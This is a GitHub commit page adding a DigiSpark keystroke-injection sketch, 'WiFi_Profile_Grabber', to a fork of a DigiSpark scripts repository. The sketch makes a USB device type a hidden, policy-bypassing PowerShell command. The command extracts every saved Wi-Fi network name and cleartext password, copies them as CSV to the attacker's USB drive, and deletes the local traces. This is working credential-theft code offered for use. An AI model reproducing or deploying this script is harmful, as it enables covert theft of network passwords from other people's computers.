forked from CedArctic/DigiSpark-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Talker : Added longer delay to wait for powershell to open WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\
- Loading branch information
Showing
2 changed files
with
33 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly. | ||
//Credits to p0wc0w. | ||
#include "DigiKeyboard.h" | ||
void setup() { | ||
} | ||
|
||
void loop() { | ||
DigiKeyboard.sendKeyStroke(0); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print("cmd"); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" ")); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
DigiKeyboard.delay(3000); | ||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | ||
DigiKeyboard.delay(200); | ||
DigiKeyboard.print("cmd"); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print(F("copy temp.csv d:\\")); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print(F("del temp.csv")); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
DigiKeyboard.delay(500); | ||
DigiKeyboard.print("exit"); | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
for(;;){ /*empty*/ } | ||
} |